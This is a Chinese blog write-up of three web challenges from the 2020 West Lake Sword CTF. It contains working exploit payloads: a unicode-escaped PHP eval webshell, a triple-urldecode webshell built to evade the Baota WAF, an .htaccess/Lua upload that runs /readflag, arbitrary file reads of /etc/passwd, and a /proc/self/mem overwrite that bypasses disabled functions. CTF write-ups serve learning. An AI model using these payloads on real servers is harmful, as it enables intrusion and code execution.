西湖论剑2020

2020-10-13 17:10:00
ctf - 西湖论剑

题目质量很高,嗯,太菜了只能复现

EasyJson

源码:

<?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

如果我们传入json格式的数据,可以写入文件,而文件名可控,文件内容则是json中的content的值,然鹅会发现一旦传入content作为键的话是无法通过check的:

测试发现是过滤了on,这道题主要的trick点在于php中的json_decode能够解析unicode,并且这里可以直接写一句话马儿。

GET /?source&action=write&filename=a.php HTTP/1.1

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0031\u005d\u0029\u003f\u003e"}

发现是可以直接写php马,1.php是无法通过,但a.php却可以通过,根目录下有个readflag,直接输出flag。

看了下源码发现正则是写这样的:

if(preg_match("/[^a-z\.]/", $content) !== 0) {
  return false;
}

newupload

发现如果传的文件后缀不符合就会一直卡着,这个考了一个换行绕过,传一个phpinfo发现disable有点多:

传个一句话马儿发现有宝塔,写个三次url解码即可绕过宝塔waf。

<?php
eval(urldecode(urldecode(urldecode($_POST['hhhm']))));
?>

后续会学习一波蚁剑自写编码器。

这里借用了其他师傅的wp: 上传htaccess解析lua

AddHandler lua-script .lua

之后上传lua

require "string"

--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)
    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
ends

flagshop

上去看源码发现:

setInterval(function() {
$.get("backend.php", {
readfile: "data/FakeCTFer.txt"
}, function(data, status) {
$('#fake').html(data);
});
$.get("backend.php", {
readfile: "data/RealCTFer.txt"
}, function(data, status) {
$('#real').html(data);
});
}, 1000);
$('#real-sub').click(function() {
$.get("backend.php", {
writefile: "data/RealCTFer.txt",
buffer: $('#real-text').val()+ "\n\n",
offset: $('#real').html().length
});
$('#real-text').val("");
});
$('#fake-sub').click(function() {
$.get("backend.php", {
writefile: "data/FakeCTFer.txt",
buffer: $('#fake-text').val() + "\n\n",
offset: $('#fake').html().length
});
$('#fake-text').val("");
});

这里传入:

backend.php?readfile=/etc/passwd

可以进行任意文件读取,首先把源码读一下:

<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) {
    echo file_get_contents($_GET['readfile']);
}

这里可以进行文件的写入,但测试发现没有写入的权限(除了tmp目录

读取/proc/self/maps泄露出动态链接库的内存地址:

这里泄露了libc的路径,先把libc通过ssrf下下来,通过readelf获取到system的偏移地址。

然后动态链接库的地址+system的偏移地址就能够取得system的地址。

<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//0x7ffff5f86590

换一下大小端:

import binascii

def big_small_end_convert(data):
    return binascii.hexlify(binascii.unhexlify(data)[::-1])

if __name__ =='__main__':
    di = b'7ffff5f86590'
    do = big_small_end_convert(di)
    print(di)
    print(do)

//b'7ffff5f86590'
//b'9065f8f5ff7f'

https://github.com/beched/php_disable_functions_bypass/blob/master/procfs_bypass.php

脚本改改算出来open的偏移:

得到payload:

backend.php?
readfile=/readflag>/tmp/hhhm&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号